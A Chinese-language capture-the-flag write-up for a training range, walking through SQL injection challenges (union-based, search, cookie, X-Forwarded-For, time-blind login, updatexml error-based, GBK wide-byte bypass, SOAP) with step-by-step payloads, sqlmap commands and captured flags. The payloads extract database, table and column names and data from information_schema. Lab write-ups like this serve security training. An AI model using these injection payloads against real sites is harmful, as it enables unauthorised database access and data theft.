sql注入篇
安鸾渗透实战平台是一个在线的靶场平台,需要通过一些列手段找到flag提交
文章目录
SQL字符型注入(1-2)
开始忘记截图了,只好给大家直接写一下payload了
提示:仅适合参考
一、需识别mysql默认的information库
mysql 5.0版本以上会有一个默认的information_schema库,里面有三个重要的表,分别是information_schema.schemata、information_schema.tables以及information_schema.columns,他们分别记录了数据库内的所有库名、表名以及字段名
二、内部结构
1.schemata表内容
此表内只有一个重要数据字段,那就是schema_name,这个记录了数据库内全部的库名称,而且是不重复的那种
2.tables表内容
此表记录了数据库内的库名、表名,字段分别是table_schema 以及 table_name ,至于为啥不用他来直接检索数据库库名,相信大家不难看到,这里面的内容是重复的
3.columns表内容
此表关键数据为table_schema、table_name以及column_name 分别记录了数据库库名、表名、字段名,当然也是一一对应的
4.解题思路
好了,简单的介绍了一下数据库结构,接下来说一下解题思路。由于忘记截图导致只能口述一下。
由上图可以看到,第一个是数字型注入,第二个是字符型注入,所以直接输入一个探测符号–单引号,发现数据库报错,根据报错信息可以得知这个数据库大概率是Mysql的;
第二步,使用Order by 语句探测字段的个数,得到字段数为3个(二分法不细讲了,不明白的私信我),并且知道了都有哪些字段会显示在浏览器里,payload为
order by 3 -- -
-1 union select 1,2,3 -- -
第三步,使用联合查询查询他的库名
-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata -- -
第四步,根据得到的库名“dwvs”继续深入查询他的表,发现可疑表“flag”
-1 union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema="dwvs" -- -
第五步,根据得到的flag表去查询他的字段
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="flag" -- -
第六步,得到flag字段内容
-1 union select 1,flag,3 from flag -- -
第二题和第一个解题思路是一样的,只是多了个单引号
SQL搜索型注入
首先先注册一个账户然后登陆即可
第一步,猜测字段长度
' order by 7 -- -
第二步,猜测显示字段号
-1' union select 1,2,3,4,5,6,7 -- -
第三步,得到库名
在这里插入代码片
第四步,得到表名
-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema="whalwl" -- -
第五步,得到字段名
-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name="this_flag" -- -
第六步,得到flag
-1' union select 1,flag,3,4,5,6,7 from this_flag-- -
# SQL搜索型注入 随便点一个链接,不要碰搜索框和留言板,那里注入我试了,手工挖是真的坑,要找就找简单的点 [添加链接描述](http://whalwl.host:8034/show.php?id=33%20order%20by%2016%20--%20-) 第一步,找到字段的个数,这里找到字段的个数为15 ```sql order by 15 -- - ```
第二步,找到有哪些字段会被显示,经过测试,得到3,11,12字段会被显示
-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- -
第三步,得到库名
union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(schema_name),13,14,15 from information_schema.schemata-- -
第四步,爆表
union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(table_name),13,14,15 from information_schema.tables where table_schema="cms" -- -
第五步,爆字段
union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(column_name),13,14,15 from information_schema.columns where table_name="this_is_flag" -- -
第六步,爆数据
union select 1,2,3,4,5,6,7,8,9,10,11,flag,13,14,15 from this_is_flag -- -
flag{16aeb3e6d73689bf456c5c50f2d04b84}
# COOKIE注入 这个我手工是真没挖出来,按照常规的打发,输入代码根本不好使,不知道是哪里出了问题,我的cookie注入就没好使过
javascript:alert(document.cookie="id="+escape("1 and 1=1"))
尴尬极了,不知道人家咋手工出来的,啥也不说了,不能重复造车轮子,直接sqlmap弄他
flag{d523990a3ff51ff035d5cf378f175e88}
# xff注入 访问页面直接拦截数据包,在Host头后面加入X-Forwarded-For:127.0.0.1*
sqlmap -r /root/桌面/2.txt -D "xff" -T "this_flag" -C "flag" --dumps
flag{00b116d12ab1d53490e6b685cc7862fc}
sql搜索型盲注
搜索框输入排序语句大于6就会无内容,所以判断字段数为6
第一步,判断字段个数
1' order by 5 -- -
第二步,判断字段的显示
-1' union select 1,2,3,4,5 -- -
第三步,判断库名
-1' union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata-- -
第四步,爆表
-1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="dwvs" -- --
第五步,爆字段
-1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name="flag" -- -
第七步,爆数据
-1' union select 1,flag,3,4,5 from flag -- -
flag{8bce2844bc098845261fad79a3a56215}
POST盲注/万能密码
登录框处存在盲注,这里面测试一下是确实有时间盲注的
通过 and sleep(2) 时间函数发现服务器响应时间延长两秒
密码处发现奇葩现象
' order by 5 -- -
通过排序得到字段数,在用户名或密码处都可以,输入以上payload发现若是字段数不正确则会出现mysql error字眼,通过此字样发现输入正确的字段数才会无明显回显
-qwefg ' union select 1,2,3,4,5 -- -
发送数据请求后发现貌似登录成功了
经过测试,那个数字2确实是显示的字段,只是麻烦的就是得一直退出登录然后反复的在密码栏输入payload
尝试爆数据库版本
-1111' union select 1,version(),3,4,5 -- -
爆库
-1111' union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata -- -
爆表
-1111' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema="dwvs" -- -
爆字段
-1111' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name="flag" -- -
爆内容
-1111' union select 1,flag,3,4,5 from flag -- -
flag{f99c688f101bb53fdbf178ad0889182e}
报错型注入insert
注册登录后,在编辑选项修改个人信息
vlan911' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -
好吧,本来想用order by,结果发现只给一个字段都不行,猜测不出来字段数量,只能按照人家啊报错注入来了,这里使用updatexml()函数来进行爆破
偷个懒,直接用了这里,接下来爆表
vlan911' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="dwvs"),0x7e),1) -- -
爆字段,说实话,我没找到flag表在哪,我承认了,我输了,偷窥了一眼别人的
vlan911' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="dwvs" and table_name="flag"),0x7e),1) -- -
vlan911' and updatexml(1,concat(0x7e,(select group_concat(flag) from dwvs.flag),0x7e),1) #
flag{690997feb8fc9341}
宽字符注入
宽字节注入,大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了
%df' order by 5 %23
这里发现%df’可以成功绕过反斜杠,但是注释符不能直接用“#”或者“-- -”,需要转换成url格式,由于井号就一个“%23”所以在这里就用这个了
这里就能看到,是5个字段,咳咳,所以下面就好办了
-1%df' union select 1,2,3,4,5 %23
爆库,直接偷偷懒
-1%df' union select 1,database(),3,4,5 %23
爆表,由于单引号会被转义,咱们就规避一下,转换一下格式就好,把库名转换成十六进制就行(推荐小葵)
-1%df' union select 1,database(),group_concat(table_name),4,5 from information_schema.tables where table_schema= 0x6B7A66 %23
爆字段
-1%df' union select 1,database(),group_concat(column_name),4,5 from information_schema.columns where table_schema= 0x6B7A66 and table_name=0x746869735F666C6167 %23
报内容
-1%df' union select 1,database(),flag,4,5 from this_flag %23
flag{573ce050c8dcdf3f216bf1485480c1ff}
SOAP协议注入
访问http://www.whalwl.host:8018/ws_soap.php?wsdl
对于应用程序开发来说,使程序之间进行因特网通信是很重要的。目前的应用程序通过使用远程过程调用(RPC)在诸如 DCOM 与 CORBA 等对象之间进行通信,但是 HTTP 不是为此设计的。RPC 会产生兼容性以及安全问题;防火墙和代理服务器通常会阻止此类流量。通过 HTTP 在应用程序间通信是更好的方法,因为 HTTP 得到了所有的因特网浏览器及服务器的支持。SOAP 就是被创造出来完成这个任务的。SOAP 提供了一种标准的方法,使得运行在不同的操作系统并使用不同的技术和编程语言的应用程序可以互相进行通信。
soap也也大量应用于手机app与服务器通信和数据传输中
(上面的这段抄的人家的https://blog.csdn.net/niexinming 感谢niexinming大佬)
这个大佬估计可以手挖,但是我确实没手挖出来,直接把url扔AWVS里了
把request粘贴走,而后在title处加入标记直接放sqlmap跑
flag{ba8b6a6f6e38ed7e173d03504132dbe8}
站挂了,提交不上去了,暂时先到这
提示:仅适合参考
总结
提示: